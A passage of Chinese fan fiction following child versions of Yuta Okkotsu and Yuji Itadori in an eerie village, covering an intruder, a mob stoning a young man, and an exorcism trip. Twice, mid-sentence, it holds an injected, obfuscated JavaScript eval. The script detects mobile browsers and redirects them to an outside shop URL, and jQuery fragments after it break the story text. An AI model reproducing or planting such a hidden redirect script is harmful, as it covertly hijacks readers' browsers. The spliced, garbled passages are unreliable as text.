只有宫司能够看见里香,而他是从森林里走出来的人。中美没能走出来,所以她死在了森林里。
所以,宫司是将里香与他在森林里见到的东西混为一谈了吗?
乙骨忧太拉着虎杖悠仁的手,他们一起走在小路上。村口、路边、家门前的无脸石像前再也见不到参拜的人,那场来去匆匆的祭典似乎就这样从大家的生活中滑了过去,像是一捧沙从指缝间溜走,只留下微不足道的几粒沙留在指尖。
老人们依旧聚集在凉亭里,举着蒲扇用他们听不懂的方言聊天,不过在向他们招手之后,两个孩子都再没有走过去的意思。
仿佛那天众人聚集在中美家门口,争前恐后地举着果子拥挤着向前伸出手的模样只是一场诡异的梦。
从未在现实中发生过,因此才没有留下任何痕迹。
但这只是一种自欺欺人的错觉,中美家那些只被啃了一口的果子已经堆积如山,就快要顶到天花板了。
平日里会去神社参拜的人也没有想象中的那么多。
“大家究竟是信仰着神明,还是并不怎么相信呢?”虎杖悠仁提出了疑问。
乙骨忧太同样产生了可疑的猜想。村民们不像祈本里香的祖母一样“虔诚”,那个老人只要一出门,所有人都能看出她的信仰。不论是从行为动作还是随身携带的礼器,从人群中分辨教徒并不困难。
偶尔的狂热才是常态。虎杖悠仁在老家上幼稚园的时候,大家很喜欢凑在一起谈论宝可梦或者其他动画片。话题大多都是前一天晚上电视台里播放的剧集,所以孩子们之间谈论的焦点总是多种多样的。
持久的喜爱......虎杖悠仁还没有遇到过能够坦然说出“我一直都很喜欢这个东西,以后也会一直喜欢下去”的事物。
但是,信仰不是喜爱与否能够概括的。那应当是一种信念,是比持久的喜爱更加永恒的东西。
“......”也许真正奇怪的是村民们在祭典那一天的狂热而不是平日的沉默。
乙骨忧太犹豫着:“也许在这里就是这样的,大家都已经习惯这样普通地对待每一天,也习惯只有一天的......‘狂欢’。”
“要去找你爷爷吗,忧太?”虎杖悠仁问道。
巫女们提到了红房子,这的确是非常值得在意的问题。
和那个老人的对话不会有任何帮助,乙骨忧太已经早早地明白了这一点。就快要走到院门口的时候,天已经完全黑了下来。夏天正在逐渐过去,在上一场雨过后,吹过山谷的风总带着一丝凉意,仿佛秋天已经迈出了它的脚步。
院子里黑漆漆的,在最远离村子的山腰,只有月光会为他们照亮前方。巧合的是,今晚的银色光华被乌云完全遮挡,周围要比平常更加黑暗无光,伸手不见五指。
草丛和杂物堆的方向传来窸窸窣窣的声音,虫鸣和未知生物钻行的声音交织在一起,奏响盛夏最后的合奏。
将钥匙插入锁孔,乙骨忧太向右拧动。没有感受到上锁后的阻力,钥匙仿佛失效了一般顺从地转了一个圈。
他们离开前没有锁门?不,他记得很清楚,离开时他绝对——
因为他骤然升起的警惕心,藏在门板后的不速之客似乎比他们更沉不住气,在迟迟没能等到推门而入的小孩子们后,那个人发出一声低吼,猛地向里抽开了木门。
尽管没有月光,但院子里还是要比房间内亮堂不少。青年没有看清站在门口的两个孩子,一只巨大的手掌直接将他死死攥在掌心里,就像握着一颗刚从泥巴里拔出来的萝卜一样轻而易举地将他带离了地面。
“你是谁?!为什么要、闯到别人的家里?!”属于孩童的尖细女声冲破了不速之客的鼓膜。
青年想要惊惶地大叫,但嗓子却被自己从未见过的恐怖生物压迫着,很快他的脸就开始变得充血红肿,连呼吸都成为了奢望。
余光中,站在怪物身旁的两个孩子被它以守护者的姿态保护着,黑发男孩面色不善,黑白分明的眼球简直要将犀利的目光变成刀,直直地插进他的身体里。
后悔、无能为力、恐惧,无数负面感情在濒死之际完全爆发了出来,让他短暂地拥有了进入另一个世界的邀请券。
“里香,里香。”乙骨忧太深吸气,安抚着自己因为惊吓而猛烈跳动的心脏,同时呼唤着里香的名字让它不要太过激动,被捉住的不速之客看起来马上就要窒息而亡......他没有伤害这个人的意思,他们还有很多事情没有搞明白。尽管他因为青年不请自来地闯入他家中而感受到了愤怒与威胁。
乙骨忧太叫着里香的时候,回头看了一眼虎杖悠仁。粉发孩子看起来并没有被这突如其来的变故吓到。他们现在都已经很适应随时随地可能会暴走的里香,也知道应该如何去安抚它。
有什么东西从青年松开的手中掉了下来,锐利的反光闪过,虎杖悠仁跑到了那东西旁边,将它拿了起来。
“悠仁!”乙骨忧太向他伸出手,虎杖悠仁极快地跑回了他身后,拿着那把掉下来的小刀。
白色的咒灵松开了手,将掌中的人毫不留情地甩到了地上。
从里香手中逃出生天的青年大口喘息着,濒临死亡的威胁让他的眼睛拥有了能够看到咒灵的力量,此刻他的眼前正笼罩着如小山般不可反抗的阴影,让跌坐在地的青年觉得被压迫到根本无法呼吸。
“哈......啊?这、这是?!你们到底是什么东西啊?!!”
虎杖悠仁快乙骨忧太一步从他身侧探出头去:“你才是!擅自跑到别人家里还拿着刀,太危险了!”
“你、你们这群家伙......都是一群疯子!怪物!不是人的东西!!”
里香非人的模样似乎将青年的心理防线彻底击溃,他时而大声咒骂,时而捂着脑袋痛苦地哑声嘶吼。最开始虎杖悠仁还能大概听得懂他究竟在说什么,但是仅仅几秒后青年的话就变得难以理解,音节也断断续续,连不成完整的语句。
乙骨忧太听到了隔壁红房子开
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378161|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
门的声音,让里香回到了自己的影子里。他始终站在虎杖悠仁的身前,近乎面无表情地看着这个发疯的青年。
虽然很感谢他在自己突然生病的时候为自己检查了身体,但如果他有可能做出伤害自己在乎的人的事,乙骨忧太立刻就会做出决断。
泪流满面、双目失神的青年突然抬起狼狈不堪的脸,汹涌的泪痕中融入了被他自己抓挠出的血迹。被这样空洞的眼睛注视着,虎杖悠仁和乙骨忧太都不由自主地绷紧了身体。
“真可怜啊,”青年跪在地上,乙骨忧太的余光看见他的爷爷手持一个长长的棍子推开了院门,吱呀声已经遥遥传了过来,“你们还什么都不明白。”
手电筒的光芒闪烁着靠近,混乱的吆喝与脚步声掺杂在一起,这座村子一反常态地在夜晚变得热闹起来了。
不知道是谁先伸手,将两个孩子拉到了人群的后面,虎杖悠仁死死握着乙骨忧太的手臂,眼睁睁看着青年被人潮吞没。
连神社的巫女都跑了过来,她从数不清的人中拉住他们,将两个孩子带到了无人的空旷草地。他们的到来惊飞了一群藏匿在草茎阴影处的蚊虫,巫女嫌弃地拍打着周围的空气,企图赶走它们。
“你们没事吧?没想到他真的会去找你们......天哪!虎杖,你的手里拿着什么?!”
虎杖悠仁的手中还拿着青年带过来的那柄小刀。看起来像是在便利店随手买的水果刀,锋利的刃部沾上了一些泥土和深褐色的污渍。
人们在向被堵在院子里的青年投掷石块,破碎的瓦砾和坚硬的石头砸到了青年的身上,让他只能捂住头面,不时发出痛苦的哀嚎。那些投掷物同样落在了他们家的院子里,盖在菜地上的浮土被碎石崩飞,砸出一个个凹陷的坑洞。
虎杖悠仁觉得自己甚至听到了噼里啪啦的声响,缓了一会儿才反应过来那是石头雨落地的声音。
这些突然出现在他们家门口的村民们再一次让他想起了中美家门口的情景。手中持握的果实变成了石块,可人们还是那样争先恐后,像是离岸脱水的鱼挣扎着重回大海一样迫不及待地向前推挤着。
“不行,”虎杖悠仁看不见人群中央的景象,也听不见青年的哀嚎声了,“不行!这样下去他会死的!他们在干什么呀?!”
他几乎立刻冲了上去,扒拉着落在后方的人的衣摆,企图从他们之间分出一条通路来。
简直就像是被挤压在一起的肉馅,每个人的身体都紧紧地贴合在了一起,让虎杖悠仁无从下手。手中的刀早就被丢在那空地上,他能够听到乙骨忧太喊他的声音,但此刻他只想让这可怕的行为赶快停下来。
只到大人腰部左右的两个孩子根本无能为力,哪怕虎杖悠仁有他引以为傲的力量与远超同龄人的壮实身体,可他依旧无法撼动眼前这堵人墙。
由无数普通人类组成的、可怕的墙壁。
他的手拽住了一件外套,完全顾不得控制力道。他能听到从周围人身上发出的诅咒。
在场的每一个人,无论他们是否将手中的石块丢向躺在中央的那个人,无论他们是否真的将诅咒的话宣之于口,这群人、这群人——都无比期盼着死亡。
他们诅咒着青年的存在,将他视作了错误,并且不遗余力地坚信着这一点。
乙骨忧太几乎要跟不上虎杖悠仁的身影。他们穿梭在人山人海中,看不见前路,看不见退路。忽然,一直走在前面的虎杖悠仁停了下来,乙骨忧太立刻被人挤到了他的身上。
虎杖悠仁拽住了一个人,他抬起头,看到了女人的脸。
中美的妈妈、青年的妈妈——她面目狰狞,脸上堆满了情绪激动时翻涌的红色,额头满是汗水。她的口中高喊着诅咒的话语,让虎杖悠仁恐惧地松开了手,不由自主向后退了一步,就像是他主动躲入了身后人的怀里。
“——你想毁了我们所有人吗?!逃走也好,死掉也好,不要再来诅咒我们了!!”
爷爷,究竟什么才是正确的事呢?
能够给出答案的人却已经不在了。
虎杖悠仁觉得周围嘈杂的声音和自己分隔开来,仿佛有一层看不见的薄膜将他的身体包裹了进去,连同着那些他不理解却非常讨厌的情感也一并驱离。
他微微抬了抬头,只能够看到护着他勉强保持平衡的乙骨忧太的下巴。
“我要诅咒你们!!!总有一天你们所有人会像那孩子一样,被你们信仰、被你们亵渎的‘神’彻底抛弃!!!哈哈!!!疯子!一群疯子!!!和这山里的恶魔一起去死吧!!!”
乙骨忧太捂着虎杖悠仁的耳朵,可青年疯狂的诅咒依旧传入了他们的耳中,久久无法消散。
从这一刻开始,他们扎根于此的锚被海浪彻底拔出,摇摆不定的船随着洋流的移动逐渐远离了这个短暂停泊的港口。
乙骨忧太定定注视着前方,透过层层叠叠的人影,他看见住在红房子里的爷爷用那根挂满了绳结的、看上去像是祭祀时才会用到的棍子卡住青年的脖颈,将他压在了地上。
23. 第 23 章
那不是正确的事,但事情仍旧发生了。
虎杖悠仁清理着一团糟的院子,他们垒砌的菜园被毁坏一空,他能从浮土中找到没有埋得特别深的西瓜种子。
宫司口中亟待解决的其他事情已经彻底完成,男人承诺下周会带他们一起去旧村。
那晚他们谁都无法轻易入睡,孩子们爬上了阁楼,在里香的帮助下上到了房顶。天上没有月亮与星星,但他们仍旧抬着头向上看,似乎双眼能够看透厚重的云层,窥视干净的夜空。
“忧太,”虎杖悠仁扯着兜帽的绳结,将它们拉成一长一短的模样,“这里好奇怪啊。”
乙骨忧太抱着双膝,声音闷闷的:“嗯。”
虎杖悠仁第一次这么期盼着长大。长大了他们就能赚到钱,有能力自己选择去处,可以远离自己讨厌的、讨厌自己的地方。
在此之前,他们只能按部就班地追逐着生活,由它来决定自己的去向与未来。
乙骨忧太对将这个房间变成他们的家这件事完全失去了兴趣,也提不起劲头来像之前那样计算那些数字。村落里的生活恢复了原状,他们每天也依旧会去神社吃饭。偶尔在来回的路上能够看到趴在石头矮墙上打哈欠的野猫,毛发脏乱但性格很好,虎杖悠仁总爱掰一些火腿肠丢给它。
偶尔也能碰见大摇大摆走在路上的鸭群,他们是不同户的人家散养在村子里的,每天早上如果起得早,就能看见这群鸭子到处串门,只要它们在门口嘎上两声,队伍就会壮大一点。
它们极少会去虎杖悠仁和乙骨忧太捉虾的那片区域,大概是因为那里的水流湍急的同时又很浅,它们更青睐村外的那个湖泊,捕鱼的人在撒网时总会惊得它们到处乱飞。
虎杖悠仁和乙骨忧太没再向着巨木以北的区域走过,尽管只过去了短短一周的时间,但夏季的离去比他们想象中的更加干脆利索。郁郁葱葱的枝叶开始变黄,绿色的树海中,有一部分向着鲜艳的红转变,脚下的落叶也开始变得五颜六色起来。
满山的翠绿似乎一去不返。
早晚出门的时候如果单穿短袖的话已经有些不太够,在虎杖悠仁捂着嘴巴打喷嚏之后,乙骨忧太带着他去到了村子里的服装店买衣服。店里的衣服款式比较单一,大多数都是纯色,或者就是白色打底,然后在胸前印上一大团眼花缭乱的卡通图案,摸起来滑溜溜的,穿得久了就会裂成一块一块的,边缘翘起,虎杖悠仁有一件被扣得差不多了的长袖上衣。
他们进门的时候,正巧碰见店主婆婆正在更换插在小神龛前的香。因为在店里烧香的这个习惯,这家店里所有的衣服上都沾染上了香灰的气味。
“冬衣要等到十月才有,”婆婆家就在服装店的后面,她在虎杖悠仁挑选帽衫的时候从后屋提出了一大包东西,放在椅子上拍了拍,“之前收拾东西的时候有一床多余的棉被,你们没有过冬的被子吧?”
她一边说住在红房子里的那个老头有多么抠门,一边将包裹往虎杖悠仁他们怀里塞。她的热情让虎杖悠仁有些望而却步,但直觉却告诉他婆婆是真心实意想要照顾他们。
最终,他们收下了婆婆的好意。虎杖悠仁将那一大袋包裹顶在脑袋上,乙骨忧太拎着他们买来的新衣服,大包小包地回家了。
“还是买一台洗衣机吧,”虎杖悠仁打开院子里新修好的水管,汩汩清流从软管中流淌而出,浇湿了他脚边的地面,“冬天洗衣服的话,手会被冻伤的。”
他们的钱足够为家里添置一台回收过的洗衣机,杂货店老板像是服装店的婆婆一样,热心地帮他们将那台转起来会嘎吱作响的旧洗衣机装好,连接了水管与电线。
滚筒转起来洗衣服的时候还好,一旦开始甩干,洗衣机上面和周围不能摆放任何东西,它运转起来的时候连放在顶上的脏衣篓都能直接甩到地上。虎杖悠仁觉得自己坐上去的话一定会被颠得像晕车一样吐出来。
虽然这台机器旧旧的,但好消息是它让乙骨忧太重振旗鼓。洗衣机都买了,不如再买一个小冰箱?只要有电磁炉或者电饭煲,他们就可以自己买菜做饭,不用再去神社吃饭了。
但是这样算下来,他们需要将一整张福泽谕吉当作满足日常生活需要的资金,用来购买早饭或便当,剩下的那一张购买家电,这样分配的话就干干净净的,只剩下一些零钱。
下个月的生活费他们还需要去找乙骨爷爷,不知道能从他手中拿到多少。
在下定决心购买其他家用电器之前,宫司和他们说明天会带着他们去旧村。
“你们不是想打理头发吗?我们可能会在那边待上几天,要带好换洗的衣物。”
虎杖悠仁趁着四下无人的时候去找了巫女,他想要询问中美哥哥的下落,却得到了“他不会再回来了”的答复。大人们之间的交谈有时太过含蓄,虎杖悠仁猜不到他们究竟想要表达什么意思。
是他已经死了的意思吗?这里的村民难道像他们和祈本里香在暴风雨中做的那样,将他的尸体丢入了无人知晓的深井中,以这种方式宣告生活仍旧继续吗?
明明是一模一样的行为,为什么自己会觉得他们的做法是正确的,而村民们做的就是偏离正确的呢?
背着小书包坐在三轮车上时,虎杖悠仁仍在认真地思考这个问题。寻常村民去隔壁村落的话通常采用步行的方法,考虑到这次有孩子同行,宫司才找人借来了这辆车,由神社的神职人员载着他们走了更远但更宽敞的大路。这条路需要走上大概五六个小时,如果步行走小路穿越森林的话,能够省下大概一半的时间。
“宫司先生,你见过住在山里的那位神明大人吗?”
虎杖悠仁问道。
“没有人能够亲眼目视神明的,悠仁。我只是能够看见它们。”
“它们?”
“怪物、邪祟、恶魔,或者你们的那个叫法......咒灵?在我从神的领地内离开后,我就能看见它们了。等到我们抵达旧村,你们就能知道神明的有多爱护祂的信徒。”
虎杖悠仁垂下眼睛,乙骨忧太靠在他身上,似乎被颠得有些晕车。宫司察觉到小孩的兴致不高......他原本看起来很期待这次出门,果然是因为前几天中美哥哥的闹剧吗?
“有什么事值得你这样发愁呢?”
能够看见它们的孩子通常更加成熟,也更加天真。
虎杖悠仁抬起头看了他一会儿,又左顾右盼犹豫着。宫司没有催促他,耐心地等待。
“......宫司先生,我和忧太,”粉发的孩子开口道,“如果我们不想继承神社的话?”
男人收回目光:“继承神社对你们来说是最简单的,如果你们愿意,这份工作可以一直做到老死。”
“那宫司会等到老死再将神社托付给我们吗?”
男人笑了两声,没有计较他冒犯的话:“我可不想工作一辈子。现在退休对我来说也足够了,因为你们和我很像,再加上忧太......他身上的存在是那样神圣,倒让我觉得似乎是上天在启示我挑选你们作为继承者。”
宫司和虎杖悠仁说了一些有关神社建成的事。令人感到惊讶的是,这座神社是在近十几年才被村民们集资建立的。
“我还以为至少有上百年了!”对时间没什么概念的虎杖悠仁咋咋呼呼地说。他的动作有点大,又顾及着有些难受的乙骨忧太而安静了下来。
“信仰一直都在,神社的建立只是给了村民一处可以将信仰落到实处的地方......不过你们应该也看出来了,这只不过是说说而已。”
不会有人每天都来神社参拜,一整天也见不到一个人的情况时有发生。
“祭典......对,说到祭典。今年这样的大祭对我们来说是比较轻松的,大祭之外的年份我们就需要提前准备祭祀用的纸人和供品,还有专门的神乐舞,提前一两个月就得忙起来,不像今年这样简单喽。”
“但是,”虎杖悠仁直愣愣地说,“中美死在森林里了呀。”
“森林是神的居所,她只是被神接受了,从此不会再被俗世的病痛所折磨。她同样将大家的愿望带到了神的面前,让祂继续护佑这个村子。”
拥有琥珀色瞳仁的孩子天真地问道:“那宫司先生是被神拒绝了,才从森林中离开的吗?”
“......你知道山王祭的来源吗?据说第一位走入森林的孩子让席卷村落的泥石流停了下来,拯救了岌岌可危的山谷,所以每当村子遇到‘艰难的日子’或者‘可怕的灾害’,才会选出稚儿来举行山王祭。”
今年是这样的日子吗?庄稼地里的菜种长势惊人,没有流浪汉在街边乞讨,也没有自然灾害波及到村落。
“是因为一直在下雨吗?”
当然不是。
宫司回答道。只是因为大家觉得这样做会更好,所以就这样顺理成章地决定下来了。
由“大家”决定的事,是正确的吗?
在幼稚园决定午休之后做什么时,老师总说少数服从多数。在连续很多次只有他一个人想去堆沙堡,但其他人都想去做游戏时,老师总会愧疚又无奈地看着他:“悠仁,大家都想去玩游戏呢。”
她似乎很遗憾虎杖悠仁的选择没能成为大多数,而他本人也觉得这没什么所谓,渐渐地就不再举手说明自己想去堆沙堡了。从那之后,老师便极少在做决定这个环节露出复杂又为难的表情。
如果是换成去年那个年纪更大一些的老师,她只会一锤定音地根据大多数人的选择做出决定,从来没有像第二个老师那样问过他。虽然结果都是一样的,但......眼神却不尽相同。
虎杖悠仁喜欢在说话的时候直视别人的眼睛,这样他就能敏锐且聪明地猜到对方的想法。而这种觉察是相互的,年纪大一些的老师曾经严厉地看着他质问道:“虎杖,你是故意的吗?”
他想说不是,但遗憾的是他的确有的时候就是故意的。很早之前他就知道自己并不是什么乖巧的孩子,如果有人这样认为了,那只是他不了解全部的自己而已。少数的那一方不会被选择,有时连声音都不被允许发出,这是虎杖悠仁用自己的经历早早了解到的事实。
“可是中美死了。”
以后你们总能明白的。男人留下这样一句话,停下了与虎杖悠仁的争辩。被大人用对待孩子的态度敷衍了过去,虎杖悠仁将头一歪,靠在了身侧乙骨忧太的脑袋上。
他只是突然觉得脑袋好重好重,似乎被塞入了沾了水的棉花,不但将本就混乱的内容物搅得一塌糊涂,又将缝隙之间塞得满满当当,不留任何喘息的余地。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378162|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
完全搞不懂。
他们抵达旧村的时候已经很晚了,被安排住在了一处无人居住的房屋内,房间还通着水电,但榻榻米和木地板显然很久没有清理,散发着一股霉味和灰尘的味道。宫司和村长的女儿有事要说,留下两个孩子打扫房间。
“忧太,你好一些了吗?”
乙骨忧太自从离开村子之后就没什么精神,坐在车上的大部分时间都在睡觉,虎杖悠仁也不知道他听没听到自己和宫司的对话。不过就算听见了也只是徒增困扰。
黑发的孩子稍微打起一些精神,和虎杖悠仁一起简单打扫出了两间屋子。从橱柜中搬出的被褥同样散发着潮湿的味道,但他们也只是借住两天,没有必要太过计较。
宫司回来时带来了明天的工作。据说有邪祟上身的那对姐妹被村民们要求住在村外的废弃房屋中,女人害怕她们伤人,又害怕她们死在那儿,所以每天还是按时送去饭食,用铁链将门从外面锁住,禁止她们离开。
祓除的仪式也将在村外进行,虎杖悠仁和乙骨忧太可以跟着宫司一起去围观祓除仪式,有机会亲眼见到她们。
“悠仁。”乙骨忧太趴在窗户边上,月色打在他的脸上,映出一条银色的光边。
虎杖悠仁挤在他身边,同样向外望去。
在月光照不到的漆黑小巷里,丑陋的咒灵正推动堆积如山的垃圾与杂物,挣扎着向更高处攀爬。
有浑身炸毛的猫咪对着咒灵的方向发出凄厉地嘶叫,却被从隔壁窗户里扔出来的纸团驱赶着跑走。
虎杖悠仁能够听到那人脱口而出的谩骂。
他似乎认定飘进屋子里的酸臭和野猫的嚎叫都是因为小巷里无人处理的垃圾,因此对着无耻的邻居破口大骂,并重重将窗户关了起来。
那只咒灵已经顺着墙壁靠近了唯一散发出光芒的窗口。
虎杖悠仁打开了窗户。宫司就在隔壁,但不知道为什么,他们两个人只是对视了一眼就默契地达成了一致,没有选择惊动同行的男人,而是选择凭借他们自己的力量来解决眼前的麻烦。
乙骨忧太感觉到里香正在蠢蠢欲动。
“不能闹出太大的动静,里香,”他爬上了窗台,虎杖悠仁站在地面上拉住他的衣服,防止他掉到窗外,“要轻轻的。”
宫司感觉到窗户外面有黑影一闪而过,待他走到窗边查看时,却没能发现任何异常。联想到之前听到的野猫叫声,他将刚才的黑影当成了那些无处不在的流浪动物,清点好祓除仪式必须用到的道具后关灯睡觉去了。
乙骨忧太和虎杖悠仁靠坐在窗台下方的墙边,听到隔壁的窗户被关上后才松了一口气。不知道他们究竟为什么要这样偷偷摸摸地行动,虎杖悠仁在和乙骨忧太对上视线的时候突然噗嗤一下笑了出来。
“笑什么呀?”乙骨忧太用气声悄咪咪地说。
虎杖悠仁捂着嘴巴,尽可能地靠近他说:“我们为什么看起来像是在做什么坏事?”
闻言,乙骨忧太也忍不住露出了笑意。
里香的动作快而精准,它悄无声息地用锋利的爪子将那只像爬山虎一样贴在墙壁上的咒灵抓了下来,像风一样钻回了影子里。
分给他们的床很窄,对成年男人来说有些拥挤,但两个孩子却觉得影响不大。他们躺在一起,虎杖悠仁盯着墙角蔓延出来的霉斑。他已经非常熟悉乙骨忧太呼吸声的节奏,知道在什么样的情况下是睡着了,也能分清楚他是否睡得安稳。
“呐忧太。”他小声开口,如愿听到从身边传来窸窸窣窣翻身的声音。
“怎么了?”转过身,面向虎杖悠仁躺着的乙骨忧太回问。
“思考什么是正确的事真的好难啊。”
虎杖悠仁不喜欢被子上明显的潮味,只勉强用它盖住了肚子。
乙骨忧太的呼吸节奏变得稍微紧凑了一些,这代表着他正在思考。
“但是,如果不想的话也不行,”虎杖悠仁长长地叹了一口气,放松身体,将双手搭在肚子上,“怎么办啊?忧太?忧太忧太忧太忧太——”
乙骨忧太摸黑伸手捂住了他喋喋不休的嘴巴。
很奇怪,他在这样的夜晚也能很清楚地看清虎杖悠仁的轮廓,连粉色发尾的颜色都能看得一清二楚。他能明显感觉到虎杖悠仁看不清他,或者只能看到一团黑色的轮廓,因为那双眼睛在他的脸上四处乱窜没个定处。
“我觉得......不如放弃寻找正确的事吧。”
他感觉到手下的呼吸重了一些,温热的气息扑打在掌心。
“我倒是希望悠仁去做自己想做的事。如果会感到痛苦的话,不去做正确的事也可以。”
虎杖悠仁扒开他的手,眨着眼睛看他。
“我知道了!”虎杖悠仁鼓着脸颊,似乎是有点生气地说道:“忧太肯定会说,我来替你做那些事吧?爱逞强的家伙才会这么说,是忧太的话就不会觉得难受了吗?”
明明到现在还会做噩梦。
想要做正确的事,哪怕最后得不到好的结果,虎杖悠仁也不想后悔。
乙骨忧太戳了戳他的脸颊,指腹传来柔软的触感,让虎杖悠仁说出的话变得没有什么杀伤力。
“但是,我就是不想让悠仁经历那些啊。”乙骨忧太笑着说。
24. 第 24 章
祓除的仪式乏善可陈,连虎杖悠仁和乙骨忧太都能看出宫司在这件事上的敷衍之意。那两个女孩身上并没有咒灵或者邪祟,她们仍穿着单薄的衣服相互抱在一起,对所有企图靠近的人竖起尖刺。
虎杖悠仁和乙骨忧太也被她们强烈地排斥着,从她们的眼神中能够清晰地感受到这一点。
但是因为宫司从村长那里拿到了丰厚的佣金,所以表面功夫还是要做好的。祓除仪式会持续三天,这期间虎杖悠仁和乙骨忧太有充足的自由行动时间。
从理发店出来的时候,他们正巧碰到本村的小孩子们结伴经过。
这里相当、相当排外。没有幼稚园也没有学校,孩子们的一言一行全都是周围大人的影子。
当虎杖悠仁反应过来自己听到了什么粗鄙下流的话时,他的拳头已经挥了出去。接下来耳边充斥着疯狂的尖叫,他不知道哪些声音是从他自己的嘴巴里发出来的,哪些又是从被他骑在身下的这个满眼恐惧的男孩口中发出来的。
虎杖悠仁从男孩猛缩的瞳孔中看到了反射出来的自己。他这次真的很生气,憋着一口气,面无表情地抬起拳头,指关节处已经开始微微红肿。
他被眼睛中自己的影子一惊,不敢相信那样冰冷的表情居然出自自己的脸上。也就是这个空档让被他打了两拳的男孩推开了他,狼狈地哭号着踉跄跑远。和他在一起的孩子们全都缩在后面不敢上前帮忙,虎杖悠仁用视线将他们逼退,这时才缓缓吐出胸口的那一口气。
“——悠仁!”
“你们在干什么?!”
有大人发现了这场闹剧,被打了的男孩像是找到了可以依靠的人,迅速跑了过去口齿不清地哭诉着自己的遭遇,用手指向虎杖悠仁的方向。
“......是你先说那些话的。”虎杖悠仁有些气息不稳,他的胸膛起伏着。
大人向他们这边走了过来,那个男孩抹着眼泪亦步亦趋,还在撕心裂肺地干嚎着。
“你们......是跟着那个神官一起过来的孩子?啧!”逗留在附近的人开始变多,抽着烟的男人女人靠在窗边街角,一副事不关己的模样看着这场“好戏”。
试图靠近他们的大人在远处两三米的地方停下了脚步。比起动手打人的那个,站在他身后的黑发孩子更让人觉得毛骨悚然,黑色的瞳孔里没有任何光亮......真不愧是那个全都神神叨叨的村子里出来的家伙,那村子里的人不都疯疯癫癫地信神吗?万一真的有点什么稀奇古怪的手段......
大人动作一顿,赶快推着还想要狐假虎威继续说些什么的男孩像远离瘟神一样嫌弃地走开了。
最近村子里本来就有两个野种在用巫术伤人,他们这些神官多少也会沾上点不干净的东西。
“真是晦气!”
围观的人群没能聚集起来,见事件中的某一方主动退让,这场冲突也没有了继续观赏的价值,自然各自散去。
“......”
虎杖悠仁还攥着拳头,怒不可遏地盯着他们的背影。
诉诸暴力无法解决任何问题,可除此之外他不知道该如何在这场争斗中保持自我。那些粗俗的话语在灌入耳中的时候,虎杖悠仁瞬间感觉腹部有什么东西变得火热,随即那股热量席卷了全身,他几乎无法控制自己的愤怒。
他原本不是那样冲动、爱用拳头来解决问题的孩子,可当下他不知如何解释自己突然失控,不理解为什么愤怒突然掌控了他的大脑。
就好像整个人变成了负面情绪的集合体,像是装了过多水的气球,只需要一点点外力就能令他炸裂。
乙骨忧太满心担忧。影子里的里香第一次对虎杖悠仁发出了不安的回馈,这说明白色的咒灵正在因为粉发孩子的异常行为而感到躁动不安,将其视为了对乙骨忧太来说具有威胁的对象,但因为某些根深蒂固的影响,里香并没有突破乙骨忧太的限制来到外面,履行自己保护乙骨忧太的职责。
“手指肿起来了,为什么突然冲出去?”乙骨忧太轻轻将虎杖悠仁的右手盖在双掌之间,用自己偏低的体温缓解肿起部分的灼痛,这一招对虎杖悠仁来说显然很有效。不光是指关节,连不听话的大脑都一同冷却了下来。
虎杖悠仁低着头,一副做错了事的模样:“身体自己跑出去了......抱歉,忧太。我实在是太讨厌他了。”
连去了解他的欲望都生不起来,仅凭那男孩的一句话,虎杖悠仁就认定了他是自己最讨厌的那一类人。
毫无理由的恶。
一个孩子的口中怎么能说出那样的话来?仿佛他生下来就没有廉耻,仿佛他生下来就没有经受过家人的教导一般粗鄙下流,将自己学来的恶毒话尽数倾吐于一个第一次见面的同龄人身上。
他无法容忍。
乙骨忧太挪开手掌,将虎杖悠仁的手拿到眼前仔细看他的伤口。觉得自己理亏的虎杖悠仁任由他像是捏娃娃一样摁压着自己的手指,一点点确认被他摸到的地方会不会痛。
“没事啦,这种程度的伤......”
虎杖悠仁想要安慰看起来有些过度紧张的乙骨忧太,却被他一反常态地呛了回去:“悠仁受伤的话,我会自责为什么自己没有保护好你。”
率先立下誓言的明明是他,却一次又一次被虎杖悠仁保护着。
“怪不得她们很讨厌同龄人。”虎杖悠仁突然没头没尾地说了这样一句,乙骨忧太皱着眉,半天才反应过来他说的是那对被认为是邪祟附身了的姐妹。
“......我们还是离这个村子里的人远一些吧,”乙骨忧太终于松开了虎杖悠仁的手,又半蹲下去掀起他的裤子查看膝盖的情况,“下一次我会和悠仁一起。”
“不要啦,忧太和里香都害怕会伤到别人吧?这样打起来束手束脚的,我自己一个人也能把他们通通揍飞!”
虎杖悠仁撸起袖子,他的手臂依旧挤不出肌肉,但他还是做了一个健美先生的姿势,向乙骨忧太露出笑容。
黑发孩子不再同他争论这些,牵着他径直回到临时住所。
他们和村里孩子打架的消息还是传到了宫司的耳朵里。男人并不在乎这些事,也不太在乎虎杖悠仁是不是闯祸了。就算他揍的真的是村长的孙子也和他们没什么关系......小孩子间的打闹就是这样的,又不是像枷场姐妹那样出现了使用“非人力量”伤人的情况。
至于事情的真相究竟如何,宫司同样也不在乎。
剩下的两天时间,虎杖悠仁和乙骨忧太除了跟着宫司去村外关押那对姐妹的地方旁观祓除仪式之外,再也没有离开过临时住所。
在祓除仪式进行的这三天里,似乎村长家的人并没有给那对姐妹送去吃食,第三天虎杖悠仁再见到她们的时候,两个女孩嘴巴干裂,依偎着脱力地靠坐在墙角,可依旧用刺猬一样的眼神瞪视着所有企图靠近的人。
